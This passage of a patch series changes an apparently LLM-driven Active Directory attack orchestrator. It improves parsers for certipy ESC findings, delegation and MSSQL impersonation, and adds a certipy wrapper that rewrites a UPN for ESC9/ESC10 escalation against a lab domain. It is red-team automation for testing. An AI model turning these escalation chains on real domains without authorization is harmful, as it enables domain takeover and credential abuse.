"esc7" | "esc9" | "esc10") { + if let Some(holder) = extract_esc_principal(output, esc_type) { + details["write_holder"] = json!(holder); + details["account_name"] = json!(holder); + } + } if let Some(ref ca) = ca_name { details["ca_name"] = json!(ca); } @@ -124,6 +137,43 @@ fn esc_word_boundary_match(text: &str, esc_type: &str) -> bool { false } +/// Extract the principal certipy names on an ESC line as holding the dangerous +/// right, e.g. `ESC4 : 'ESSOS.LOCAL\khal.drogo' has dangerous permissions ...`. +/// Returns the bare sAMAccountName (portion after the domain backslash), +/// lowercased. Returns `None` if no single-quoted principal is found. +fn extract_esc_principal(output: &str, esc_type: &str) -> Option { + let esc_upper = esc_type.to_uppercase(); + for line in output.lines() { + let trimmed = line.trim(); + let Some(rest) = trimmed.strip_prefix(&esc_upper) else { + continue; + }; + // Ensure it's the ESC header line ("ESC4 :" / "ESC4:"), not e.g. "ESC40". + if !(rest.starts_with(' ') || rest.starts_with(':')) { + continue; + } + if let Some(p) = extract_quoted_principal(trimmed) { + return Some(p); + } + } + None +} + +/// Pull the first single-quoted `DOMAIN\principal` (or `principal`) from a line +/// and return the name after the last backslash, lowercased. +fn extract_quoted_principal(line: &str) -> Option { + let start = line.find('\'')?; + let rest = &line[start + 1..]; + let end = rest.find('\'')?; + let principal = &rest[..end]; + let name = principal.rsplit('\\').next().unwrap_or(principal).trim(); + if name.is_empty() { + None + } else { + Some(name.to_lowercase()) + } +} + /// Extract CA name from certipy output. fn extract_ca_name(output: &str) -> Option { for line in output.lines() { @@ -275,6 +325,28 @@ mod tests { assert_eq!(vulns[0]["details"]["domain"], "contoso.local"); } + #[test] + fn parse_certipy_esc4_captures_write_holder() { + let output = "[!] Vulnerabilities\n ESC4 : 'ESSOS.LOCAL\\khal.drogo' has dangerous permissions over the template"; + let params = json!({"target": "192.168.58.23", "domain": "essos.local"}); + let vulns = parse_certipy_find(output, ¶ms); + assert_eq!(vulns.len(), 1); + assert_eq!(vulns[0]["vuln_type"], "adcs_esc4"); + // The GenericAll holder is captured so credential selection targets it. + assert_eq!(vulns[0]["details"]["write_holder"], "khal.drogo"); + assert_eq!(vulns[0]["details"]["account_name"], "khal.drogo"); + } + + #[test] + fn parse_certipy_esc1_no_write_holder() { + // Any-user ESCs must NOT pin account_name (any domain cred works). + let output = "[!] Vulnerabilities\nESC1 : 'ESSOS.LOCAL\\Domain Users' can enroll"; + let params = json!({"target": "192.168.58.23", "domain": "essos.local"}); + let vulns = parse_certipy_find(output, ¶ms); + assert_eq!(vulns.len(), 1); + assert!(vulns[0]["details"].get("account_name").is_none()); + } + #[test] fn parse_certipy_multiple_esc_types() { let output = diff --git a/ares-tools/src/parsers/delegation.rs b/ares-tools/src/parsers/delegation.rs index 774e60192..832bec174 100644 --- a/ares-tools/src/parsers/delegation.rs +++ b/ares-tools/src/parsers/delegation.rs @@ -33,15 +33,30 @@ pub fn parse_delegation(output: &str, params: &Value) -> Vec { continue; } - // Determine delegation type from keywords in the line + // Determine delegation type from keywords in the line. "resource" / + // "rbcd" MUST be checked before "constrained" because findDelegation + // prints "Resource-Based Constrained Delegation" which also contains + // "constrained" — matching constrained first would misroute RBCD rows to + // the S4U automation, which always fails on them. let delegation_type = if line_lower.contains("unconstrained") { "unconstrained" + } else if line_lower.contains("resource") || line_lower.contains("rbcd") { + "rbcd" } else if line_lower.contains("constrained") { "constrained" } else { continue; }; + // For constrained delegation, distinguish protocol-transition + // (S4U2Self+S4U2Proxy works from a cleartext/hash) from kerberos-only + // (S4U2Self is rejected — needs an existing TGT, e.g. a machine account). + // findDelegation annotates this as "w/ Protocol Transition" vs + // "w/o Protocol Transition". Default true (the common, plain-"Constrained" + // case) preserves prior behaviour; only an explicit "w/o" flips it. + let protocol_transition = + !(line_lower.contains("w/o protocol") || line_lower.contains("without protocol")); + let account = extract_delegation_account(trimmed); if account.is_empty() { continue; @@ -52,7 +67,13 @@ pub fn parse_delegation(output: &str, params: &Value) -> Vec { // "Constrained w/ Protocol Transition" that break simple column indexing. let delegation_target = extract_spn_from_parts(&parts); - let vuln_type = format!("{}_delegation", delegation_type); + // RBCD uses the bare "rbcd" vuln_type that auto_rbcd_exploitation + // watches; constrained/unconstrained use the "{type}_delegation" form. + let vuln_type = if delegation_type == "rbcd" { + "rbcd".to_string() + } else { + format!("{delegation_type}_delegation") + }; let dedup_key = format!("{}:{}", account.to_lowercase(), vuln_type); if !seen.insert(dedup_key) { continue; // skip duplicate account+type @@ -66,6 +87,9 @@ pub fn parse_delegation(output: &str, params: &Value) -> Vec { if let Some(ref spn) = delegation_target { details["delegation_target"] = json!(spn); } + if delegation_type == "constrained" { + details["protocol_transition"] = json!(protocol_transition); + } vulns.push(json!({ "vuln_id": format!("{}_{}", vuln_type, account), @@ -74,7 +98,11 @@ pub fn parse_delegation(output: &str, params: &Value) -> Vec { "discovered_by": "find_delegation", "details": details, "recommended_agent": "privesc", - "priority": if delegation_type == "constrained" { 8 } else { 7 }, + "priority": match delegation_type { + "constrained" => 8, + "rbcd" => 6, + _ => 7, + }, })); } @@ -257,6 +285,32 @@ DC02$ Computer Unconstrained N/A } } + #[test] + fn parse_delegation_rbcd_not_misclassified_as_constrained() { + // findDelegation prints "Resource-Based Constrained Delegation" — must + // classify as rbcd, not constrained (which would misroute to S4U). + let output = "\ +AccountName AccountType DelegationType DelegationRightsTo +svc$ Computer Resource-Based Constrained Delegation kingslanding$"; + let params = json!({"domain": "contoso.local", "target_ip": "10.0.0.1"}); + let vulns = parse_delegation(output, ¶ms); + assert_eq!(vulns.len(), 1); + assert_eq!(vulns[0]["vuln_type"], "rbcd"); + } + + #[test] + fn parse_delegation_protocol_transition_flag() { + let output = "\ +AccountName AccountType DelegationType DelegationRightsTo +jon.snow Person Constrained w/ Protocol Transition HTTP/winterfell +castelblack$ Computer Constrained w/o Protocol Transition HTTP/winterfell"; + let params = json!({"domain": "north.local", "target_ip": "10.0.0.2"}); + let vulns = parse_delegation(output, ¶ms); + assert_eq!(vulns.len(), 2); + assert_eq!(vulns[0]["details"]["protocol_transition"], true); + assert_eq!(vulns[1]["details"]["protocol_transition"], false); + } + // ── extract_spn_from_parts ──────────────────────────────────── #[test] diff --git a/ares-tools/src/parsers/mssql.rs b/ares-tools/src/parsers/mssql.rs index ce47fbb85..c8b4b2069 100644 --- a/ares-tools/src/parsers/mssql.rs +++ b/ares-tools/src/parsers/mssql.rs @@ -30,22 +30,73 @@ pub fn parse_mssql_impersonation(output: &str, params: &Value) -> Vec { return vulns; } - // Look for IMPERSONATE permission rows in tabular output. - // Impacket-mssqlclient formats SQL results as space-separated columns. - // We look for lines containing "IMPERSONATE" or "IM" permission type - // with a "GRANT" state. + // Preferred path: structured rows from the enriched query, tagged by a + // literal `scope` column ("server"/"master"/"msdb"), then grantee, then the + // impersonation TARGET login. One vuln per (grantee → target) pair so + // multiple grants on the same host are tracked independently (a per-host + // vuln_id would be collapsed by Redis HSETNX, hiding all but the first). + let mut seen = std::collections::HashSet::new(); + for line in output.lines() { + let parts: Vec<&str> = line.split_whitespace().collect(); + if parts.len() < 3 { + continue; + } + let scope = parts[0]; + if !matches!(scope, "server" | "master" | "msdb") { + continue; + } + let grantee = parts[1]; + let impersonate_target = parts[2]; + // Skip self-impersonation and obvious noise. + if grantee.eq_ignore_ascii_case(impersonate_target) { + continue; + } + let dedup_key = format!( + "{}:{}:{}", + scope, + grantee.to_lowercase(), + impersonate_target.to_lowercase() + ); + if !seen.insert(dedup_key) { + continue; + } + vulns.push(json!({ + "vuln_id": format!( + "mssql_impersonation_{}_{}_{}_{}", + target, scope, grantee.to_lowercase(), impersonate_target.to_lowercase() + ), + "vuln_type": "mssql_impersonation", + "target": target, + "discovered_by": "mssql_enum_impersonation", + "priority": 3, + "recommended_agent": "privesc", + "details": { + "account_name": grantee, + "impersonate_target": impersonate_target, + "scope": scope, + "domain": domain, + "hostname": target, + "note": format!( + "MSSQL IMPERSONATE: {grantee} can EXECUTE AS {} '{impersonate_target}'", + if scope == "server" { "LOGIN" } else { "USER" } + ) + } + })); + } + if !vulns.is_empty() { + return vulns; + } + + // Legacy fallback: older `SELECT * FROM sys.server_permissions WHERE type='IM'` + // output exposes no principal names. Emit a single grant keyed by the + // authenticating user (not the host) so distinct credentials still produce + // distinct vulns. let has_impersonation = output.lines().any(|line| { let line = line.trim(); - // Skip header/separator lines if line.starts_with('-') || line.is_empty() || line.starts_with('[') { return false; } - // Match on the permission type column containing "IM" and state "GRANT" let parts: Vec<&str> = line.split_whitespace().collect(); - // The sys.server_permissions output has columns like: - // class class_desc major_id minor_id grantee_principal_id grantor_principal_id - // type permission_name state state_desc - // We look for "IM" or "IMPERSONATE" anywhere in the row with "GRANT" let has_im = parts .iter() .any(|p| *p == "IM" || p.eq_ignore_ascii_case("IMPERSONATE")); @@ -56,8 +107,9 @@ pub fn parse_mssql_impersonation(output: &str, params: &Value) -> Vec { }); if has_impersonation { + let id_suffix = if username.is_empty() { "unknown" } else { username }; vulns.push(json!({ - "vuln_id": format!("mssql_impersonation_{}", target), + "vuln_id": format!("mssql_impersonation_{}_{}", target, id_suffix.to_lowercase()), "vuln_type": "mssql_impersonation", "target": target, "discovered_by": "mssql_enum_impersonation", @@ -173,6 +225,41 @@ class class_desc major_id minor_id grantee_principal_id grantor_princi assert_eq!(vulns[0]["priority"], 3); } + #[test] + fn parse_impersonation_structured_per_grantee() { + // Enriched query output: scope, grantee, impersonate_target columns. + // Two distinct grants on one host must yield two distinct vulns with + // the right impersonate_target captured. + let output = r#"Impacket v0.12.0 +SQL> SELECT 'server' AS scope, gr.name ... +scope grantee impersonate_target +------ --------------- ------------------ +server samwell.tarly sa +server brandon.stark jon.snow +master arya.stark dbo +"#; + let params = json!({"target": "192.168.58.51", "domain": "north.local", "username": "samwell.tarly"}); + let vulns = parse_mssql_impersonation(output, ¶ms); + assert_eq!(vulns.len(), 3, "got {vulns:?}"); + // Distinct vuln_ids (per grantee→target), not collapsed to one host key. + let ids: std::collections::HashSet<_> = + vulns.iter().map(|v| v["vuln_id"].as_str().unwrap()).collect(); + assert_eq!(ids.len(), 3); + // brandon → jon.snow target captured (not hardcoded sa). + let brandon = vulns + .iter() + .find(|v| v["details"]["account_name"] == "brandon.stark") + .unwrap(); + assert_eq!(brandon["details"]["impersonate_target"], "jon.snow"); + // Database-scope grant captured. + let arya = vulns + .iter() + .find(|v| v["details"]["account_name"] == "arya.stark") + .unwrap(); + assert_eq!(arya["details"]["scope"], "master"); + assert_eq!(arya["details"]["impersonate_target"], "dbo"); + } + #[test] fn parse_impersonation_none() { let output = r#"Impacket v0.12.0 diff --git a/ares-tools/src/privesc/adcs.rs b/ares-tools/src/privesc/adcs.rs index 92e8e725c..3fe88a71b 100644 --- a/ares-tools/src/privesc/adcs.rs +++ b/ares-tools/src/privesc/adcs.rs @@ -562,6 +562,40 @@ pub async fn certipy_template_esc4(args: &Value) -> Result { .await } +/// Modify a target account's `userPrincipalName` via `certipy account update`. +/// +/// This is the missing primitive for ESC9 (set a GenericAll-controlled user's +/// UPN to `administrator@`, request a cert, then restore the UPN) and +/// ESC10 (UPN manipulation that makes the weak implicit cert mapping bind to a +/// privileged account). It keeps the whole ESC9/ESC10 chain on the privesc +/// worker — `certipy` is installed there, whereas the bloodyAD UPN-write tool +/// lives only on the `acl` worker, which lacks `certipy` to finish the chain. +/// +/// Required args: `username`, `domain`, `password`, `user` (target principal), +/// `upn` (new value; pass the original to restore), `dc_ip` +pub async fn certipy_account_update(args: &Value) -> Result { + let username = required_str(args, "username")?; + let domain = required_str(args, "domain")?; + let password = required_str(args, "password")?; + let user = required_str(args, "user")?; + let upn = required_str(args, "upn")?; + let dc_ip = required_str(args, "dc_ip")?; + + let user_at_domain = format!("{username}@{domain}"); + + CommandBuilder::new("certipy") + .arg("account") + .arg("update") + .flag("-username", user_at_domain) + .flag("-password", password) + .flag("-user", user) + .flag("-upn", upn) + .flag("-dc-ip", dc_ip) + .timeout_secs(120) + .execute() + .await +} + /// Run the full ESC4 exploitation chain: template modification -> cert /// request -> authentication. /// diff --git a/docs/attack-path-diversity.md b/docs/attack-path-diversity.md index b304cd5c1..6db6e8047 100644 --- a/docs/attack-path-diversity.md +++ b/docs/attack-path-diversity.md @@ -37,26 +37,23 @@ enumeration. Audited against the lab spec (`../DreadOps/apps/DreadGOAD/docs/domain-compromise-paths.md`); each item below is confirmed by reading code, with file:line. -Done in this change: +Fixed in this change: - **Queue rebalance** (`config/ares.yaml`). `acl_abuse` was priority 1 (top), so the high-volume ACL graph drained first every run and starved the MSSQL families (which fell back to 10/11). ACL de-dominated to 3; MSSQL impersonation/linked lifted to 3. This is the "rebalance the ACL flood" lever. -Outstanding (each its own validated fix — some need ansible/container changes, -so deliberately *not* bundled into this PR): - -| # | Family | Gap | Fix site | +| # | Family | Gap | Fix | |---|---|---|---| -| 1 | ADCS | **ESC9 & ESC10 categorically fail** — routed to `privesc`, but the UPN-write tool `bloodyad_set_object_attr` is `acl`-only. Neither container has both `bloodyAD` *and* `certipy`. | split-dispatch automation, or add a tool to a container (`ansible/`) + `adcs_exploitation.rs:637-641` | -| 2 | Delegation | Kerberos-only constrained (N6) parsed identically to protocol-transition (N4) → wrong S4U payload, always fails S4U2Self. | `ares-tools/src/parsers/delegation.rs:37-43` (add `protocol_transition` flag) + `s4u.rs` payload branch | -| 3 | MSSQL | Impersonation target hardcoded to `"sa"` → grantee→non-sa logins (e.g. brandon→jon.snow) never fire deterministically. | `mssql_exploitation.rs:364` | -| 4 | MSSQL | `vuln_id = mssql_impersonation_{host}` is per-host → `HSETNX` collapses multiple grants on one host into one. | `ares-tools/src/parsers/mssql.rs:59` (per-grantee key) | -| 5 | MSSQL | DB-level `EXECUTE AS USER=dbo` never enumerated — parser queries `sys.server_permissions` only, not `sys.database_permissions`. | `ares-tools/src/parsers/mssql.rs:76` | -| 6 | MSSQL | Linked-server objective steers the LLM to unparsed `mssql_command`/`mssql_exec_linked` → `mssql_linked_server` vulns often never register → cross-forest pivots don't trigger. | `mssql_exploitation.rs:222` + parser dispatch | -| 7 | ADCS | ESC4 picks first same-domain cred instead of the GenericAll holder (parser drops the holder) → abandoned before the right cred lands. | `ares-tools/src/parsers/certipy.rs:63-103` | -| 8 | Delegation | RBCD rows from findDelegation misclassified as constrained (latent; ACL path covers the live lab path). A correct classifier exists but is uncalled. | wire `ares-core/src/parsing/delegation.rs:92-103` into `parse_tool_output` | +| 1 | ADCS | ESC9 & ESC10 categorically failed — routed to `privesc`, but the only UPN-write tool was `acl`-only and that container lacks `certipy`. | Added a `certipy_account_update` tool (certipy *is* on privesc, so the whole chain runs on one worker) and repointed the ESC9/ESC10 instructions to it. | +| 2 | Delegation | Kerberos-only constrained (N6) parsed identically to protocol-transition (N4) → wrong S4U payload, always failed S4U2Self. | Parser sets a `protocol_transition` flag (`w/o` ⇒ false); `build_s4u_payload` surfaces it with explicit S4U2Proxy-only guidance for kerberos-only accounts. | +| 3 | MSSQL | Impersonation target hardcoded to `"sa"` → grantee→non-sa logins never fired. | `impersonate_target` captured per grant and threaded into the probe (falls back to `sa`). | +| 4 | MSSQL | `vuln_id = mssql_impersonation_{host}` collapsed multiple grants via `HSETNX`. | vuln_id is now per `(scope, grantee, target)`. | +| 5 | MSSQL | DB-level `EXECUTE AS USER` never enumerated (server view only). | Enum query resolves principal names and also queries `master`/`msdb` `sys.database_permissions`; parser emits a vuln per grant. | +| 6 | MSSQL | Objectives steered the LLM to unparsed `mssql_command` → linked-server / impersonation vulns never registered. | Objectives #4/#5 now call the parsed `mssql_enum_impersonation` / `mssql_enum_linked_servers` tools. | +| 7 | ADCS | ESC4 picked the first same-domain cred instead of the GenericAll holder. | certipy parser captures the write-holder principal into `account_name` for ESC4/7/9/10; `find_adcs_credential` prefers it and still falls back. | +| 8 | Delegation | RBCD rows from findDelegation misclassified as constrained (latent). | Parser checks `resource`/`rbcd` before `constrained` and emits the bare `rbcd` type the automation watches. | ## TL;DR From 92de159306330be7141c6d444503e85cb83643fc Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Thu, 25 Jun 2026 16:10:00 -0700 Subject: [PATCH 5/6] style: apply rustfmt formatting across orchestrator and parser files **Changed:** - Reformatted multi-line iterator chains to follow standard Rust style in `deferred.rs`, `mssql.rs`, and test code within `mssql.rs` - Reordered `use` imports alphabetically in `deferred.rs`, `exploitation.rs`, and `mod.rs` to satisfy import ordering lint rules - Expanded inline `if`/`else` expression in `mssql.rs` `parse_mssql_impersonation` to multi-line block format --- ares-cli/src/orchestrator/deferred.rs | 7 +++++-- ares-cli/src/orchestrator/exploitation.rs | 2 +- ares-cli/src/orchestrator/mod.rs | 2 +- ares-tools/src/parsers/mssql.rs | 12 +++++++++--- 4 files changed, 16 insertions(+), 7 deletions(-) diff --git a/ares-cli/src/orchestrator/deferred.rs b/ares-cli/src/orchestrator/deferred.rs index 2502b8215..a0028237d 100644 --- a/ares-cli/src/orchestrator/deferred.rs +++ b/ares-cli/src/orchestrator/deferred.rs @@ -23,8 +23,8 @@ use tokio::sync::watch; use tracing::{debug, info, warn}; use crate::orchestrator::config::OrchestratorConfig; -use crate::orchestrator::diversity; use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::diversity; use crate::orchestrator::task_queue::TaskQueue; use crate::orchestrator::throttling::{ThrottleDecision, Throttler}; @@ -224,7 +224,10 @@ impl DeferredQueue { let temperature = self.config.strategy.selection_temperature; let idx = if temperature > 0.0 { - let priorities: Vec = candidates.iter().map(|(_, _, t)| t.priority as f32).collect(); + let priorities: Vec = candidates + .iter() + .map(|(_, _, t)| t.priority as f32) + .collect(); let mut rng = rand::thread_rng(); diversity::softmax_select_index(&priorities, temperature, &mut rng).unwrap_or(0) } else { diff --git a/ares-cli/src/orchestrator/exploitation.rs b/ares-cli/src/orchestrator/exploitation.rs index 9661b30be..e8eaa45f1 100644 --- a/ares-cli/src/orchestrator/exploitation.rs +++ b/ares-cli/src/orchestrator/exploitation.rs @@ -16,8 +16,8 @@ use tracing::{debug, info, warn}; use ares_core::models::VulnerabilityInfo; use crate::orchestrator::automation::EXPLOITABLE_ESC_TYPES; -use crate::orchestrator::diversity; use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::diversity; fn is_automation_owned_vuln(vtype: &str) -> bool { let vtype = vtype.to_lowercase(); diff --git a/ares-cli/src/orchestrator/mod.rs b/ares-cli/src/orchestrator/mod.rs index b5570aefb..5416bf8f3 100644 --- a/ares-cli/src/orchestrator/mod.rs +++ b/ares-cli/src/orchestrator/mod.rs @@ -20,8 +20,8 @@ mod completion; mod config; mod cost_summary; mod deferred; -mod diversity; mod dispatcher; +mod diversity; mod exploitation; mod llm_runner; mod monitoring; diff --git a/ares-tools/src/parsers/mssql.rs b/ares-tools/src/parsers/mssql.rs index c8b4b2069..89690fb02 100644 --- a/ares-tools/src/parsers/mssql.rs +++ b/ares-tools/src/parsers/mssql.rs @@ -107,7 +107,11 @@ pub fn parse_mssql_impersonation(output: &str, params: &Value) -> Vec { }); if has_impersonation { - let id_suffix = if username.is_empty() { "unknown" } else { username }; + let id_suffix = if username.is_empty() { + "unknown" + } else { + username + }; vulns.push(json!({ "vuln_id": format!("mssql_impersonation_{}_{}", target, id_suffix.to_lowercase()), "vuln_type": "mssql_impersonation", @@ -242,8 +246,10 @@ master arya.stark dbo let vulns = parse_mssql_impersonation(output, ¶ms); assert_eq!(vulns.len(), 3, "got {vulns:?}"); // Distinct vuln_ids (per grantee→target), not collapsed to one host key. - let ids: std::collections::HashSet<_> = - vulns.iter().map(|v| v["vuln_id"].as_str().unwrap()).collect(); + let ids: std::collections::HashSet<_> = vulns + .iter() + .map(|v| v["vuln_id"].as_str().unwrap()) + .collect(); assert_eq!(ids.len(), 3); // brandon → jon.snow target captured (not hardcoded sa). let brandon = vulns From f3a3c332f11f8e41f93438f3d2712f52e4e3adfc Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Thu, 25 Jun 2026 16:41:57 -0700 Subject: [PATCH 6/6] ci: fix cross-fork PR checkout in pre-commit workflow **Changed:** - Added explicit `repository` input to the checkout step so cross-fork PRs correctly fetch the contributor's fork head branch instead of failing when the ref is not found on the base repo - `.github/workflows/pre-commit.yaml` --- .github/workflows/pre-commit.yaml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/.github/workflows/pre-commit.yaml b/.github/workflows/pre-commit.yaml index ff889019f..397c8000e 100644 --- a/.github/workflows/pre-commit.yaml +++ b/.github/workflows/pre-commit.yaml @@ -46,6 +46,10 @@ jobs: - name: Checkout git repository uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 with: + # For cross-fork PRs the head branch lives on the contributor's fork, + # not on this repo. Without an explicit repository the checkout tries + # to fetch head.ref from the base repo and fails before any hook runs. + repository: ${{ github.event.pull_request.head.repo.full_name || github.repository }} ref: ${{ github.event.pull_request.head.ref || github.ref }} persist-credentials: false